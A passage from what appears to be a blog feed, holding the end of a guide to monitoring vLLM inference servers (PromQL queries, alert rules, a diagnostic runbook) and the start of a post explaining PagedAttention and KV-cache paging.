<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:request_queue_time_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p95-vllm-end-to-end-latency">P95 vLLM end-to-end latency</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:e2e_request_latency_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Percentiles need enough observations. P99 over five minutes is often noisy for low-volume models.
Show request volume next to percentile panels, use a longer range when traffic is sparse, and remember that classic
Prometheus histogram quantiles are estimated from configured buckets.</p>
<h2 id="interpreting-latency-signals">Interpreting latency signals</h2>
<p>No single metric identifies the cause. Use combinations of signals:</p>
<table><thead><tr><th>TTFT</th><th>Queue time</th><th>ITL</th><th>Likely direction</th></tr></thead><tbody>
<tr><td>High</td><td>High</td><td>Stable</td><td>Offered load exceeds capacity, or large prefills occupy the scheduler</td></tr>
<tr><td>High</td><td>Low</td><td>Stable</td><td>Prefill or the first execution step is slow; prompts may be longer or prefix-cache reuse may have fallen</td></tr>
<tr><td>Stable</td><td>Low</td><td>High</td><td>Decode is slow or uneven; investigate concurrency, memory bandwidth, throttling, and distributed-execution overhead</td></tr>
<tr><td>High</td><td>High</td><td>High</td><td>Severe saturation, preemption, infrastructure degradation, or an overloaded shared deployment</td></tr>
</tbody></table>
<p>Treat this table as triage, not proof. Confirm the hypothesis with workload-shape metrics, preemption counters, prefix-cache metrics, GPU telemetry, and request traces.</p>
<h2 id="throughput-and-offered-load">Throughput and offered load</h2>
<p>Latency tells you what users experience. Throughput tells you how much work the engine completes.</p>
<h3 id="prompt-tokens-per-second">Prompt tokens per second</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:prompt_tokens_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="generated-tokens-per-second">Generated tokens per second</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:generation_tokens_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="completed-engine-requests-per-second">Completed engine requests per second</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:request_success_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>The last query measures completed engine requests, not incoming demand. During overload, completion rate may flatten
while new requests continue to arrive. Measure true offered load at the gateway or API-server boundary.</p>
<p>Token throughput is meaningful only alongside workload shape. A drop in generated tokens per second may mean:</p>
<ul>
<li>lower request volume</li>
<li>shorter outputs</li>
<li>more prefill-heavy traffic</li>
<li>slower decode</li>
<li>scheduler contention</li>
<li>a model or configuration change</li>
</ul>
<p>Before calling it a serving regression, compare request rate, prompt-token rate, output-length distributions, TTFT,
ITL, queue time, and active concurrency.</p>
<h2 id="workload-shape">Workload shape</h2>
<p>The same model and hardware can behave very differently when prompt and output lengths change.</p>
<p>Useful request histograms include:</p>
<ul>
<li><code>vllm:request_prompt_tokens</code></li>
<li><code>vllm:request_generation_tokens</code></li>
<li><code>vllm:request_params_max_tokens</code></li>
<li><code>vllm:request_prefill_kv_computed_tokens</code></li>
</ul>
<p>Use them to detect longer prompts or outputs, measure how prefix caching changes prefill work, and distinguish traffic
composition changes from infrastructure regressions.</p>
<p>Keep workload-shape panels near latency and throughput panels so that workload changes are not mistaken for serving regressions.</p>
<h2 id="scheduler-and-kv-cache-pressure">Scheduler and KV-cache pressure</h2>
<p>The current V1 engine normally handles KV-cache pressure through preemption and recomputation. When the active working
set no longer fits cleanly, vLLM can evict request state and later recompute it. Correctness is preserved, but useful
compute is repeated and latency increases.</p>
<h3 id="scheduler-state">Scheduler state</h3>
<ul>
<li><code>vllm:num_requests_running</code>: requests included in active model-execution batches</li>
<li><code>vllm:num_requests_waiting</code>: requests waiting for scheduler capacity</li>
<li><code>vllm:num_requests_waiting_by_reason</code>: waiting requests partitioned by reason</li>
<li><code>vllm:num_preemptions_total</code>: cumulative number of preemptions</li>
</ul>
<p>A non-zero waiting gauge is not necessarily an incident. Short queues are normal under bursty traffic and
continuous batching. Alert on sustained queue time, a growing backlog, or queueing that violates the service objective.</p>
<h3 id="kv-cache-usage">KV-cache usage</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>vllm:kv_cache_usage_perc</span></span></code></pre>
<p>This gauge represents the fraction of allocated KV-cache capacity currently in use.</p>
<p>High usage is not necessarily a problem. A healthy operating range depends on model architecture, context-length distribution,
concurrency, prefix-cache reuse, speculative decoding, and cache configuration. Do not copy a universal threshold such
as 80% or 95% without testing your own deployment.</p>
<p>A stronger pressure signal is the combination of:</p>
<ul>
<li>KV-cache usage near its normal ceiling</li>
<li>increasing queue time</li>
<li>increasing preemptions</li>
<li>worsening TTFT, ITL, or vLLM end-to-end latency</li>
</ul>
<h3 id="preemption-rate">Preemption rate</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:num_preemptions_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>An occasional preemption during a short burst may not justify an incident. Sustained preemption above a tested baseline
matters, especially when latency or queueing also degrades.</p>
<h3 id="prefix-cache-effectiveness">Prefix-cache effectiveness</h3>
<p>When automatic prefix caching is enabled, calculate the hit ratio from its counters:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:prefix_cache_hits_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"><span>/</span></span>
<span class="giallo-l"><span>clamp_min(</span></span>
<span class="giallo-l"><span>  sum by (model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:prefix_cache_queries_total[5m])</span></span>
<span class="giallo-l"><span>  ),</span></span>
<span class="giallo-l"><span>  1</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Interpret this together with workload composition. A low ratio may be expected for diverse prompts.
A sudden drop for a stable workload may explain increased prefill cost and TTFT.</p>
<h2 id="request-completion-and-failures">Request completion and failures</h2>
<p>vLLM exposes a counter of completed engine requests partitioned by the <code>finished_reason</code> label:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>vllm:request_success_total{finished_reason=&quot;...&quot;}</span></span></code></pre><h3 id="completed-requests-by-reason">Completed requests by reason</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name, finished_reason) (</span></span>
<span class="giallo-l"><span>  rate(vllm:request_success_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Despite its name, this metric is not a complete service-level success-rate metric. Requests can fail before they reach
the engine because of authentication, quota enforcement, malformed input, routing failures, gateway timeouts,
or connection errors. Client disconnects and cancellations may also be represented differently depending on
the serving path and version.</p>
<p>Use <code>request_success_total</code> as an engine-completion signal. Measure service availability and error rate at the HTTP boundary.</p>
<h2 id="dashboard">Dashboard</h2>
<p>An incident dashboard should show user-visible latency, queued work, memory pressure, and workload changes.</p>
<p>Include at least:</p>
<ol>
<li>Incoming request rate and HTTP error rate at the gateway or API server</li>
<li>P95 and P99 TTFT</li>
<li>P95 and P99 ITL</li>
<li>P95 request-level TPOT</li>
<li>P95 vLLM end-to-end latency</li>
<li>P95 queue time and current waiting requests</li>
<li>Preemption rate and KV-cache usage</li>
<li>Prompt and generation token throughput</li>
<li>Prompt-length and output-length distributions</li>
<li>Prefix-cache hit ratio when prefix caching is enabled</li>
<li>GPU utilization, memory, power, clocks, throttling, and hardware errors</li>
</ol>
<p>vLLM ships reference Grafana and Perses dashboards. Use them as a baseline, then add your deployment labels,
gateway metrics, SLO panels, and links to pod-level GPU telemetry.</p>
<h2 id="alerts">Alerts</h2>
<p>Alert thresholds should come from SLOs and representative load tests, not generic constants copied from another deployment.</p>
<p>The following rules show alert patterns. Replace the example thresholds and selectors with values derived from your service.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">g</span><span style="color: light-dark(#1E66F5, #89B4FA);">roups</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> v</span><span style="color: light-dark(#40A02B, #A6E3A1);">llm-serving</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    r</span><span style="color: light-dark(#1E66F5, #89B4FA);">ules</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> a</span><span style="color: light-dark(#1E66F5, #89B4FA);">lert</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> V</span><span style="color: light-dark(#40A02B, #A6E3A1);">LLMHighTTFT</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpr</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          histogram_quantile(</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            0.95,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            sum by (le, cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">              rate(vllm:time_to_first_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            )</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 3</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        f</span><span style="color: light-dark(#1E66F5, #89B4FA);">or</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">0m</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        l</span><span style="color: light-dark(#1E66F5, #89B4FA);">abels</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">everity</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> w</span><span style="color: light-dark(#40A02B, #A6E3A1);">arning</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        a</span><span style="color: light-dark(#1E66F5, #89B4FA);">nnotations</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">ummary</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vLLM TTFT is above the service objective</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          d</span><span style="color: light-dark(#1E66F5, #89B4FA);">escription</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">P95 TTFT for {{ $labels.model_name }} is {{ $value | printf </span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">%.2f</span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> }} seconds.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> a</span><span style="color: light-dark(#1E66F5, #89B4FA);">lert</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> V</span><span style="color: light-dark(#40A02B, #A6E3A1);">LLMQueueTimeHigh</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpr</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          histogram_quantile(</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            0.95,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            sum by (le, cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">              rate(vllm:request_queue_time_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            )</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 2</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        f</span><span style="color: light-dark(#1E66F5, #89B4FA);">or</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">0m</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        l</span><span style="color: light-dark(#1E66F5, #89B4FA);">abels</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">everity</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> w</span><span style="color: light-dark(#40A02B, #A6E3A1);">arning</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        a</span><span style="color: light-dark(#1E66F5, #89B4FA);">nnotations</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">ummary</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vLLM requests are spending too long in the scheduler queue</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          d</span><span style="color: light-dark(#1E66F5, #89B4FA);">escription</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">P95 queue time for {{ $labels.model_name }} is {{ $value | printf </span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">%.2f</span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> }} seconds.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> a</span><span style="color: light-dark(#1E66F5, #89B4FA);">lert</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> V</span><span style="color: light-dark(#40A02B, #A6E3A1);">LLMPreemptionRelatedDegradation</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpr</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          sum by (cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            increase(vllm:num_preemptions_total[10m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          and</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          histogram_quantile(</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            0.95,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            sum by (le, cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">              rate(vllm:time_to_first_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            )</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 3</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        f</span><span style="color: light-dark(#1E66F5, #89B4FA);">or</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">0m</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        l</span><span style="color: light-dark(#1E66F5, #89B4FA);">abels</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">everity</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> w</span><span style="color: light-dark(#40A02B, #A6E3A1);">arning</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        a</span><span style="color: light-dark(#1E66F5, #89B4FA);">nnotations</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">ummary</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vLLM preemptions correlate with degraded TTFT</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          d</span><span style="color: light-dark(#1E66F5, #89B4FA);">escription</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Requests are being recomputed while TTFT is above the service objective.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span></code></pre>
<p>The preemption expression is intentionally correlated with latency and aggregated to the same
<code>cluster</code> and <code>model_name</code> labels as TTFT. Page on user impact, not on an isolated internal event.</p>
<p>For availability and latency SLOs, prefer multi-window burn-rate alerts. Raw percentile alerts are included here as
compact examples, but should not replace an SLO-based alerting strategy.</p>
<h2 id="runbook-metrics-to-diagnosis">Runbook: metrics to diagnosis</h2>
<h3 id="scenario-1-ttft-rises-and-queue-time-rises">Scenario 1: TTFT rises and queue time rises</h3>
<p><strong>Signals</strong></p>
<ul>
<li>P95 TTFT increases</li>
<li>P95 queue time increases</li>
<li><code>vllm:num_requests_waiting</code> remains above its normal baseline</li>
</ul>
<p><strong>Likely causes</strong></p>
<ul>
<li>offered load exceeds serving capacity</li>
<li>prompt lengths increased</li>
<li>large prefills occupy scheduler capacity</li>
<li>traffic is distributed unevenly across replicas</li>
</ul>
<p><strong>Actions</strong></p>
<ol>
<li>Compare incoming request rate and prompt-length distributions with the previous healthy period</li>
<li>Check whether all replicas receive comparable traffic and remain healthy</li>
<li>Confirm whether the bottleneck is prefill, decode, or queueing</li>
<li>Apply admission control or shed non-critical load if latency is unstable</li>
<li>Scale out only after confirming that additional replicas address the actual bottleneck</li>
</ol>
<h3 id="scenario-2-itl-rises-while-queue-time-remains-low">Scenario 2: ITL rises while queue time remains low</h3>
<p><strong>Signals</strong></p>
<ul>
<li>P95 or P99 ITL increases</li>
<li>queue time remains close to normal</li>
<li>generated tokens per second may fall</li>
</ul>
<p><strong>Likely causes</strong></p>
<ul>
<li>excessive active concurrency</li>
<li>GPU memory-bandwidth pressure</li>
<li>GPU clock or power throttling</li>
<li>distributed-execution or communication overhead</li>
<li>a model, kernel, or runtime change</li>
</ul>
<p><strong>Actions</strong></p>
<ol>
<li>Check GPU clocks, power, temperature, utilization, and hardware-error metrics</li>
<li>Compare the model and vLLM configuration with the last healthy release</li>
<li>Run a representative load test before changing <code>max_num_seqs</code> or <code>max_num_batched_tokens</code></li>
<li>Remember that lower concurrency may improve ITL while reducing aggregate throughput or increasing queue time</li>
</ol>
<h3 id="scenario-3-preemptions-increase">Scenario 3: Preemptions increase</h3>
<p><strong>Signals</strong></p>
<ul>
<li><code>rate(vllm:num_preemptions_total[5m])</code> becomes elevated</li>
<li>KV-cache usage is near its normal ceiling</li>
<li>queue time, TTFT, ITL, or end-to-end latency worsens</li>
</ul>
<p><strong>Cause</strong></p>
<p>The active KV-cache working set does not fit cleanly. vLLM evicts request state and recomputes it later,
which wastes compute and increases latency.</p>
<p><strong>Actions</strong></p>
<ol>
<li>Stabilize admitted load before tuning the engine</li>
<li>Check whether prompt lengths, output limits, or concurrency changed</li>
<li>Reproduce the workload in a controlled load test</li>
<li>Test <code>max_num_seqs</code> and <code>max_num_batched_tokens</code> as trade-offs, not one-directional fixes</li>
<li>Increase <code>gpu_memory_utilization</code> only after validating startup and peak-load memory behavior
Leave headroom for CUDA graphs, communication buffers, runtime workspaces, and model-specific allocation spikes.</li>
<li>Add replicas or GPU capacity if the working set is legitimate and sustained</li>
</ol>
<h3 id="scenario-4-http-errors-or-client-cancellations-rise">Scenario 4: HTTP errors or client cancellations rise</h3>
<p><strong>Signals</strong></p>
<ul>
<li>gateway or API-server 4xx/5xx rates increase</li>
<li>upstream timeouts or client disconnects increase</li>
<li>vLLM engine completion rate may fall or remain flat</li>
</ul>
<p><strong>Likely causes</strong></p>
<ul>
<li>authentication or quota failures</li>
<li>gateway timeout configuration</li>
<li>malformed or unsupported requests</li>
<li>overloaded routing or admission layers</li>
<li>clients giving up while requests wait</li>
<li>engine or CUDA failures</li>
</ul>
<p><strong>Actions</strong></p>
<ol>
<li>Start at the HTTP boundary: status codes, timeout reasons, and upstream latency</li>
<li>Correlate failures with vLLM queue time and TTFT</li>
<li>Inspect vLLM and GPU logs for runtime or hardware errors</li>
<li>Do not infer the service error rate from <code>request_success_total</code> alone</li>
</ol>
<h2 id="further-reading">Further reading</h2>
<nav class="further-reading" aria-label="Sources and further reading">
  <ul>
<li><a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/v0.23.0/usage/metrics/">vLLM production metrics</a>
<span class="further-reading-description">Metric definitions and examples for monitoring vLLM in production.</span></li>
<li><a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/v0.23.0/design/metrics/">vLLM metrics design</a>
<span class="further-reading-description">Design notes for the vLLM metrics system and its collectors.</span></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/vllm-project/vllm/tree/v0.23.0/examples/observability/dashboards">vLLM monitoring dashboards</a>
<span class="further-reading-description">Reference Grafana and Perses dashboards for vLLM.</span></li>
<li><a rel="noopener external" target="_blank" href="https://prometheus.io/docs/concepts/data_model/">Prometheus metric and label naming</a>
<span class="further-reading-description">Prometheus rules for metric names, labels, and time series.</span></li>
</ul>
</nav>

        
      ]]></description>
    </item>
    
    <item>
      <title>Why vLLM Scales: Paging the KV-Cache for Faster LLM Inference</title>
      <pubDate>Tue, 27 Jan 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/vllm/</link>
      <guid>https://akrisanov.com/vllm/</guid>
      <description xml:base="https://akrisanov.com/vllm/"><![CDATA[
        <p>Published: 2026-01-27</p>
        
        
          <p><a rel="noopener external" target="_blank" href="https://vllm.ai/">vLLM</a> is an LLM inference engine designed to improve GPU utilization.
Its key mechanism is <a rel="noopener external" target="_blank" href="https://arxiv.org/abs/2309.06180">PagedAttention</a>, which manages the KV-cache
without the memory waste common in traditional LLM serving stacks. More efficient memory use supports
larger batches and steadier latency under load.</p>
<h2 id="kv-cache-fragmentation">KV-cache fragmentation</h2>
<p>In traditional LLM serving systems, the KV-cache (the keys and values representing token context)
must live in a single contiguous block of GPU memory.</p>
<p>The system does not know in advance how long the model’s answer will be.</p>
<p>It therefore reserves memory for the maximum context length—say, 2048 or 4096 tokens—for every request.</p>
<ul>
<li>Large chunks of VRAM are reserved but never used</li>
<li>Memory becomes fragmented</li>
<li>Up to 60–80% of KV-cache memory is effectively wasted</li>
</ul>
<p>That VRAM could instead serve more requests in parallel.</p>
<h2 id="pagedattention">PagedAttention</h2>
<p>PagedAttention takes inspiration from virtual memory and paging in operating systems.</p>
<p>Instead of allocating one large contiguous region per request, it uses fixed-size blocks:</p>
<ol>
<li><strong>Split the KV-cache into fixed-size blocks.</strong> Each request’s KV-cache is divided into blocks, such as 16 or 32 tokens per block.</li>
<li><strong>Store blocks non-contiguously.</strong> The blocks can reside anywhere in VRAM.</li>
<li><strong>Map logical to physical blocks.</strong> A block table maps the logical token order to physical GPU memory blocks.</li>
<li><strong>Allocate blocks as needed.</strong> vLLM allocates new blocks as it generates tokens instead of reserving the maximum space up front.</li>
</ol>
<p>This block-based allocation accounts for much of vLLM’s performance improvement.</p>
<h2 id="effects-of-a-paged-kv-cache">Effects of a paged KV-cache</h2>
<ul>
<li><strong>Less external fragmentation.</strong> Because blocks do not need to be contiguous, free memory can be reused instead of becoming unusable holes.</li>
<li><strong>Limited internal fragmentation.</strong> Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.</li>
<li><strong>Larger batch sizes.</strong> Better memory efficiency allows more concurrent requests per GPU, a main driver of performance on modern GPUs.</li>
<li><strong>Higher throughput.</strong> In practice, this enables 2–4× throughput compared with TGI and up to about 24× compared with naïve Hugging Face serving setups.</li>
<li><strong>Continuous batching.</strong> New requests can be added as soon as completed requests free blocks, without waiting for a full batch boundary.</li>
<li><strong>Prefix and prompt caching.</strong> Multiple requests can point to the same physical blocks for shared prefixes, such as system prompts and long examples.</li>
<li><strong>Copy-on-write.</strong> When generating multiple completions from the same prompt, vLLM allocates new blocks only after the outputs diverge. This can save up to about 55% of KV-cache memory.</li>
<li><strong>Lower TTFT under load.</strong> PagedAttention does not reduce the computation required for the first token. Higher throughput can clear queues faster, reducing the queue-time component of TTFT.</li>
<li><strong>Preemption and swapping.</strong> If VRAM runs low, individual blocks can be swapped to CPU memory instead of causing an out-of-memory error.</li>
<li><strong>No recomputation.</strong> Unlike approaches that discard the KV-cache under pressure, PagedAttention preserves progress and resumes generation without processing the prompt again.</li>
</ul>
<h2 id="block-size">Block size</h2>
<p>Block size affects:</p>
<ul>
<li>Internal fragmentation</li>
<li>Metadata and indexing overhead</li>
<li>Eviction and preemption behavior (if used)</li>
</ul>
<p>Smaller blocks improve memory efficiency but increase overhead.</p>
<p>Larger blocks reduce overhead but waste more space at the end of sequences.</p>
